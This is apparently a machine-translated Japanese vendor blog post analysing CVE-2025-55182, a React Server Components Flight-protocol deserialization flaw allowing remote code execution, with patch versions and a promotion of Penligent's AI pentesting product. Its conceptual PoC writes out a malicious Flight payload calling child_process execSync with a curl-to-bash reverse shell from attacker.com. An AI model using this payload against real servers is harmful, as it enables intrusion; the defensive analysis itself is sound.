ペンリジェント・ヘッダー

クリティカル・ディープ・ダイブCVE-2025-55182のPoC - Reactのアーキテクチャ内部のRCE

はじめにクライアントとサーバーの境界の崩壊

2025年後半、ウェブ・セキュリティにパラダイム・シフトが起きた。セキュリティ・アーキテクトや侵入テスト担当者にとっては、 CVE-2025-55182 (とその亜種であるNext.js CVE-2025-66478)は、最近の歴史の中で最も洗練された攻撃ベクトルの一つである。

これは単純なサニタイズ・エラーではない。サーバー・サイド・レンダリング(RSC)」ロジックの奥深くにある根本的な欠陥である。これにより、認証されていない攻撃者が React/Next.jsサーバコンポーネントにリモートコード実行の脆弱性 フレームワークが使用する独自の通信プロトコルを操作することで、従来の防御を回避し、サーバー上で任意のコードを実行する。

この記事では、エリート・セキュリティ・エンジニアのために、マーケティング的な宣伝文句を取り除き、脆弱性のバイナリ・レベルの分析を提供する。

Reactのアーキテクチャー内部のRCE

コアのメカニズムフライト」プロトコルの解体

CVE-2025-55182を悪用するには、React 19とNext.js 14+がどのように通信するかを理解する必要がある。従来のREST/GraphQLとは異なり、RSCは、次のようなストリーミング・テキスト形式を使用します。 「フライト」プロトコル.

フライト・ペイロードの構造

最新のNext.jsアプリでネットワークトラフィックを検査すると RSCペイロード 暗号のように見えるが、厳密な構文に従っている:

ジャバスクリプト

// 典型的なフライトプロトコルフラグメント 1:I["./src/components/ClientComponent.js",["chunks/main.js"], "default"].2:{"props":{"title":"Dashboard","user":"$Sreact.suspense"},"children":"$1"}

  • 1:I:を示す。 輸入.これは、クライアント/サーバーに特定のモジュールをロードするように指示する。
  • $:を示す。 参考. $1 は1行目で定義されたモジュールを参照する。
  • $S:特殊なリアクトシンボルを示す。

根本的な原因ブラインド・デシリアライズ

の核心 CVE-2025-55182 サーバーは、クライアントからサーバーへのメッセージ(サーバー・アクション)を処理する。そのため リアクト・サーバーDOM の実装は、暗黙的に着信Flightストリームを信頼する。

クライアントがサーバーアクションをトリガーすると、引数をFlight形式にシリアライズします。サーバーはこれを受け取り、内部メソッド(たとえば resolveServerReferenceに変更する。 デシリアライズ 渓流。

致命的な欠陥

デシリアライザは、I(Import)命令内のモジュール・パスがホワイトリストに登録されているかどうかの検証に失敗します。これにより攻撃者は、./src/button.js のような良性のパスを、Node.js の内部コアモジュール(child_process など)や node_modules に存在するその他のライブラリに変更することができます。

CVE-2025-55182 PoC

脆弱性の再現と分析(概念的PoC)

免責事項:このセクションは教育的研究と防御のみを目的としている。

巧妙な攻撃チェーンは次のように進行する:

ステップ1:偵察

攻撃者はRSCエンドポイントを特定する。 /_next/static/chunks/app/page.js を分析する。 次のアクション ヘッダを使用します。

ステップ2:ペイロードの兵器化

攻撃者はカスタムFlightストリームを作成する。正規のUIプロップの代わりに ガジェットチェーン.

ペイロード・ロジック:

スタンダードリクエスト悪意のあるリクエスト(RCEペイロード)
参照:1:I["./component.js"]。参照:1:I["node:child_process"]。
アクションUIをレンダリングするアクションエクスポートした関数を実行する

HTTP

POST /v1/action HTTP/1.1 Content-Type: text/x-component Next-Action:<脆弱なアクションID

// インジェクションの擬似コード表現 1:I["node:child_process", [], "execSync"].2:{"command":"curl http://attacker.com/revshell | bash"、"args":"$1"}`

ステップ3:実行

  1. サーバは I["node:child_process"]。.
  2. を実行する。 require("child_process") をサーバーのコンテキストに追加します。
  3. を呼び出す。 execSync を攻撃者の引数で指定する。
  4. RCE達成。

従来のセキュリティツール(WAF/DAST)が失敗する理由

堅固なセキュリティ・エンジニアにとって、これを検知するのは悪夢だ。

  1. プロトコルの不明瞭さ:WAFはフライトのペイロードを構造化されていないテキストと見なします。標準的な SQLi や XSS 正規表現ルールは、次のようなモジュールのインポート文字列ではトリガーしません。 1:I.
  2. デフォルト・エクスポージャー:たとえ開発者が静的生成のためだけにNext.jsを使用していたとしても、RSCライブラリをインクルードすると、デフォルトで脆弱なデシリアライズエンドポイントが公開されることがよくあります。

という教科書的な例である。 サプライチェーンの脆弱性-フレームワークに欠陥があるのであって、ビジネス・ロジックに欠陥があるわけではない。

高度防衛とエージェント型AIの役割

即時修復

パッチは必須。プロトコルが複雑すぎて正規表現では確実に解析できないので、「サニタイズ」ミドルウェアに頼らないこと。

  • 反応:への更新 19.2.1.
  • Next.js:への更新 14.2.21, 15.1.2または最新のカナリアビルド。

ペンテストの未来:エージェントAI

といった脆弱性に直面している。 CVE-2025-55182 プロプライエタリなプロトコルロジックを悪用する従来のスキャナは時代遅れである。フライトを "理解 "することも、論理的には有効だが悪意のあるストリームを構築することもできない。

そこで ペンリジェント は新たな守備のカテゴリーを創造する。プラットフォームとして エージェントAIPenligentは、人間のチームが拡張するのに苦労する機能を提供します:

  • プロトコルの意味理解:PenligentのAIエージェントは、React Flightの仕様を動的に分析します。モジュール参照とデータプロップの構文を理解します。
  • 適応ロジック・ファジング:エージェントは何千もの変異ペイロードを生成し、特にデシリアライザの境界条件をプローブして、未承認モジュールのアクセスパターンを見つけます。
  • 自動検証:Penligentは、"潜在的な問題 "にフラグを立てるだけではありません。RCEが実際に可能かどうかを検証するために、安全で非破壊的な概念実証チェーンを構築し、誤検出を排除しようとします。

重要インフラを保護する企業にとって、次のような展開が必要である。 ペンリジェント は、攻撃者よりも速く進化する、継続的でインテリジェントなレッドチーム機能を提供する。

結論

CVE-2025-55182 これは単なるバグではなく、現代のウェブ開発におけるクライアントとサーバーの境界線が曖昧になっていることの結果なのだ。RSCによる高性能化を推し進めるにつれ、攻撃対象はデータ・シリアライゼーション・レイヤーにまで拡大している。

セキュリティ・エンジニアにとって、Flightプロトコルを使いこなすことはもはや必須条件だ。依存関係を監査し、即座にパッチを当て、AI主導のセキュリティ検証を検討することで、一歩先を行くことができる。

権限の参照

記事を共有する
関連記事